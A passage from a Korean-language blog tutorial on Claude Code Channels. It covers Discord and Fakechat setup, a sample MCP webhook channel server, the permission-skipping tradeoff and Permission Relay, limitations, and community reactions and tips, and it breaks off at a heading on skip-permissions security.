&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4.&lt;/b&gt; Discord에서 봇에게 DM을 보내면 페어링 코드가 발급된다. Claude Code에서 다음 커맨드로 연결을 완료하고 즉시 allowlist 모드로 전환한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 페어링 코드로 내 계정을 봇에 연결
/discord:access pair &amp;lt;code&amp;gt;

# 보안: 즉시 allowlist 모드로 전환 (같은 서버의 다른 사용자 접근 차단)
/discord:access policy allowlist&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Fakechat으로 로컬 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;외부 서비스 없이 채널 아키텍처를 테스트하고 싶다면 &lt;b&gt;Fakechat&lt;/b&gt;을 사용한다. Anthropic이 공식 제공하는 localhost 데모 채널이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;groovy&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/plugin install fakechat@claude-plugins-official
claude --channels plugin:fakechat@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;브라우저에서 &lt;code&gt;http://localhost:8787&lt;/code&gt;에 채팅 UI가 열린다. 메시지를 입력하면 Claude Code 세션에 도착하고, Claude가 응답하면 브라우저에 표시된다. 인증도, 외부 서비스도, API 키도 필요 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;추천: Fakechat으로 먼저 이해하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이벤트 흐름을 이해한 뒤에 Telegram이나 Discord로 전환하는 것을 권장한다. Fakechat으로 &amp;lt;channel&amp;gt; 태그가 어떻게 생성되고, reply tool이 어떻게 동작하는지 먼저 체험할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://dev.to/ji_ai/claude-code-channels-how-anthropic-built-a-two-way-bridge-between-telegram-and-your-terminal-2dpn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to - Claude Code Channels: How Anthropic Built a Two-Way Bridge&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 커스텀 채널 만들기 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 커스텀 채널 만들기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels의 유용한 점은 &lt;b&gt;직접 채널을 만들 수 있다&lt;/b&gt;는 점에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CI 파이프라인, 모니터링 시스템, 커스텀 Webhook 등을 Claude Code 세션에 연결할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Webhook Receiver 예제&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 예제를 기반으로, HTTP POST를 받아 Claude Code 세션에 전달하는 최소 채널 서버를 만들어 본다. 먼저 프로젝트를 세팅한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;mkdir webhook-channel &amp;amp;&amp;amp; cd webhook-channel
bun add @modelcontextprotocol/sdk&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;cs&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// webhook.ts &amp;mdash; 전체 채널 서버 (Bun)
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';

// MCP 서버 생성 + 채널 capability 선언
const mcp = new Server(
  { name: 'webhook', version: '0.0.1' },
  {
    // 이 키가 채널의 핵심 &amp;mdash; Claude Code가 알림 리스너를 등록한다
    capabilities: { experimental: { 'claude/channel': {} } },
    // Claude의 시스템 프롬프트에 추가되어 이벤트 처리 방법을 안내
    instructions: 'Events from the webhook channel arrive as &amp;lt;channel source=&quot;webhook&quot; ...&amp;gt;. Read them and act, no reply expected.'
  }
);

// stdio로 Claude Code에 연결
await mcp.connect(new StdioServerTransport());

// HTTP 서버 &amp;mdash; POST를 받아 Claude에 전달
Bun.serve({
  port: 8788,
  hostname: '127.0.0.1', // localhost 전용
  async fetch(req) {
    const body = await req.text();
    await mcp.notification({
      method: 'notifications/claude/channel',
      params: {
        content: body,
        meta: { path: new URL(req.url).pathname, method: req.method }
        // ⚠️ meta 키에 하이픈(-) 포함 시 Claude Code가 자동으로 무시함
        // 예: 'content-type' &amp;rarr; 사용 불가 / 'contentType' &amp;rarr; 정상 작동
      }
    });
    return new Response('ok');
  }
});&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP 설정 파일 (.mcp.json):&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;webhook&quot;: {
      &quot;command&quot;: &quot;bun&quot;,
      &quot;args&quot;: [&quot;./webhook.ts&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 개발 채널 로딩 (리서치 프리뷰 기간 필수)
claude --dangerously-load-development-channels server:webhook

# 다른 터미널에서 CI 실패 시뮬레이션
curl -X POST localhost:8788 -d &quot;build failed on main: https://ci.example.com/run/1234&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 세션에 이렇게 도착한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;&amp;lt;channel source=&quot;webhook&quot; path=&quot;/&quot; method=&quot;POST&quot;&amp;gt;
  build failed on main: https://ci.example.com/run/1234
&amp;lt;/channel&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 이 메시지를 받아 파일을 읽고, 명령을 실행하고, 빌드 실패를 분석하기 시작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 실전 사용 사례 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 활용 사례&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MacStories의 런치 나이트 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels의 실전 가능성을 가장 잘 보여준 것은 &lt;a href=&quot;https://www.macstories.net/stories/first-look-hands-on-with-claude-codes-new-telegram-and-discord-integrations/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MacStories의 런치 나이트 리뷰&lt;/a&gt;다. 출시 당일, 터미널을 한 번도 건드리지 않고 아이폰의 텔레그램만으로 다음을 수행했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;iOS 프로젝트 빌드 + 배포:&lt;/b&gt; xcodebuild로 iOS 앱을 빌드하고, 채팅 중이던 아이폰에 무선으로 배포&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Readwise Reader CLI:&lt;/b&gt; &quot;NPC&quot; 태그가 붙은 83개 글 목록 수집&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;팟캐스트 오디오 트랜스크립션:&lt;/b&gt; Claude Code 스킬로 오디오 변환 &amp;rarr; 정리 &amp;rarr; TXT, SRT, 마크다운 리포트를 아이폰으로 수신&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: --dangerously-skip-permissions 트레이드오프&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MacStories 테스트에서는 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; 플래그를 사용했다. 이 플래그 없이는 파일 쓰기, 명령 실행, 빌드 등 매 단계마다 터미널에서 권한 승인이 필요하다.&lt;br /&gt;&lt;br /&gt;현재의 트레이드오프: &lt;b&gt;완전한 원격 제어&lt;/b&gt; 또는 &lt;b&gt;권한 안전성&lt;/b&gt;. 둘 다는 아직 안 된다. Permission Relay 기능이 이 격차를 줄이는 방향이지만, 아직 초기 단계이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://dev.to/ji_ai/claude-code-channels-how-anthropic-built-a-two-way-bridge-between-telegram-and-your-terminal-2dpn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to - Channels 아키텍처 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Permission Relay: 원격에서 도구 승인하기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Permission Relay는 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;의 대안이 될 수 있는 기능이다. 채널을 통해 도구 사용 승인 요청을 원격으로 전달한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude가 파일 쓰기 등 권한이 필요한 도구를 호출하려 한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;승인 요청이 텔레그램/디스코드 채팅으로 전달된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사용자가 채팅에서 승인/거부를 선택한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;결과가 Claude Code 세션에 전달되어 실행이 계속된다&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이를 통해 터미널 앞에 앉아있지 않으면서도 권한 제어를 유지할 수 있다. 다만, 공식 문서에서 이 기능은 &lt;b&gt;신뢰된 발신자 경로가 있는 채널에서만&lt;/b&gt; 작동하며, sender allowlist가 올바르게 설정되어야 한다고 명시하고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 제한사항 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 제한사항과 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels의 제한사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 종료 시 비활성:&lt;/b&gt; Claude Code 세션이 종료되면 채널도 함께 종료된다. PC를 잠그거나 Claude Code를 닫으면 메시지를 받을 수 없다. &lt;b&gt;팁:&lt;/b&gt; &lt;code&gt;tmux&lt;/code&gt;나 &lt;code&gt;screen&lt;/code&gt; 안에서 &lt;code&gt;claude --channels ...&lt;/code&gt;를 실행하면 터미널을 닫아도 세션이 유지된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;메시지 히스토리 없음 (Telegram):&lt;/b&gt; Telegram Bot API는 메시지 히스토리를 제공하지 않는다. 세션이 꺼져 있을 때 보낸 메시지는 유실된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;리서치 프리뷰:&lt;/b&gt; &lt;code&gt;--channels&lt;/code&gt; 플래그 문법과 알림 프로토콜이 변경될 수 있다. 안정 릴리스 시점은 공식적으로 발표되지 않았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;API 키 미지원:&lt;/b&gt; claude.ai 로그인만 지원한다. Console이나 API 키 인증으로는 사용할 수 없다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;권한 관리:&lt;/b&gt; &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; 없이는 매번 터미널에서 승인이 필요하다. Permission Relay가 대안이지만 아직 초기 단계다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw의 제한사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 직접 관리:&lt;/b&gt; 서드파티 스킬의 보안 검증이 사용자 책임이다. Cisco가 발견한 데이터 유출 사례처럼, 검증 없이 스킬을 설치하면 위험하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서버 운영 비용:&lt;/b&gt; 24시간 실행을 위해 EC2/VPS 비용이 추가로 발생한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;설정 복잡도:&lt;/b&gt; 다양한 플랫폼 지원은 장점이지만, 초기 설정의 복잡도도 높다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로컬 프로젝트 접근 한계:&lt;/b&gt; 내 PC의 프로젝트 파일에 직접 접근할 수 없다. 서버에 코드를 배치해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 커뮤니티 반응과 실전 팁 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 커뮤니티 반응과 실전 팁&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels 발표 직후, 개발자 커뮤니티의 반응은 폭발적이었다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 반응 하이라이트&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Ethan Mollick&lt;/b&gt; (와튼 교수, AI 인플루언서)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 12px 16px; border-radius: 8px; border-left: 3px solid #0066cc; margin-bottom: 10px; font-style: italic;&quot;&gt;&quot;Claude 팀이 OpenClaw 같은 것에서 배우고 이런 기능을 매일같이 출시할 수 있다는 것은, AI 기반 코딩 팀에게 매우 다른 소프트웨어 개발 프로세스가 가능하다는 강력한 논거다.&quot;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Boris Vagner&lt;/b&gt; (개발자)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 12px 16px; border-radius: 8px; border-left: 3px solid #0066cc; margin-bottom: 10px; font-style: italic;&quot;&gt;&quot;Claude Code는 지금 차원이 다르다. 어제 Dispatch를 세팅하고 폰에서 기능 추가, 업데이트 배포를 마찰 없이 해냈다. 2시간 전에 Discord + Telegram 채널이 나왔는데, 세팅하고 나니 정말 놀랍다.&quot;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Sarvesh Shrivastava&lt;/b&gt; (개발자)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff; padding: 12px 16px; border-radius: 8px; border-left: 3px solid #0066cc; font-style: italic;&quot;&gt;&quot;무슨 일이 일어난 건지 이해하겠는가 &amp;mdash; 이제 텔레그램으로 Claude Code에 문자를 보내면, 내가 자리를 비운 사이에 컴퓨터가 작업을 하고 있고, 돌아오면 완성된 작업이 있다. 몇 주 전까지만 해도 AI 에이전트를 위해 Mac Mini를 24시간 돌려야 했는데.&quot;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;흥미로운 관점 &amp;mdash; Daniel San&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude Code Channels가 나왔다. 세션을 텔레그램/디스코드로 제어할 수 있다. 하지만 우리는 이미 앱과 Remote Control로 이걸 할 수 있었다. 그런데 왜 메시징 플랫폼인가? &lt;b&gt;이 플랫폼들이 완전히 다른 수준의 인터랙션을 열어주기 때문이다.&lt;/b&gt;&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반면, 일본의 한 CEO는 좀 더 냉정한 평가를 내놓기도 했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #6c757d; margin: 15px 0; font-style: italic;&quot;&gt;&quot;Claude Code Channels를 즉시 구현해봤다. Discord 연결까지 약 5분. 다만 Discord에서 다른 폴더를 실행할 수 없어서 Remote Control과 큰 차이를 느끼지 못했다.&quot; &amp;mdash; &lt;a href=&quot;https://x.com/masahirochaen/status/2034915598388359679&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Chaen (Digirise CEO)&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티에 기반의 팁&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 1. &quot;Channels are not currently available&quot; 오류 해결&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt;에서 텔레메트리 관련 환경변수가 설정되어 있으면 Channels가 비활성화된다. 해결법:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;awk&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# settings.json에서 DISABLE_TELEMETRY 환경변수를 완전히 제거해야 한다
# 값을 0으로 설정해도 동작하지 않는다 &amp;mdash; 키 자체를 삭제해야 한다
jq 'del(.env.DISABLE_TELEMETRY)' ~/.claude/settings.json &amp;gt; /tmp/s.json &amp;amp;&amp;amp; mv /tmp/s.json ~/.claude/settings.json&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://x.com/janxin/status/2034820210918650070&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@janxin, X&lt;/a&gt;) &lt;b&gt;⚠️ 커뮤니티 팁이며 공식 문서 미확인. 적용 전 백업 권장 한다.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 2. 응답 시간 기대치&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티 테스트 결과, 대략적인 응답 시간은 다음과 같다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;작업 유형&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대략적 응답 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;메시지 &amp;rarr; Claude 반응 시작&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;약 3~5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;간단한 명령 (테스트 실행, 파일 확인)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;10~30초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;복잡한 작업 (빌드, 대규모 파일 작업)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;수 분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 이 수치는 커뮤니티 경험 기반의 추정이며, 네트워크 환경과 작업 복잡도에 따라 달라질 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 3. 토큰 사용량 주의&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;채널을 통한 모든 활동은 Claude Code &lt;b&gt;토큰 쿼터를 소비&lt;/b&gt;한다. Pro 플랜 사용자는 장시간 비동기 작업 시 일일 한도에 도달할 수 있으므로, 작업 범위를 특정 프로젝트 디렉토리로 제한하는 것이 좋다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 4. skip-permissions 보안 가이드&lt;/h4&gt;
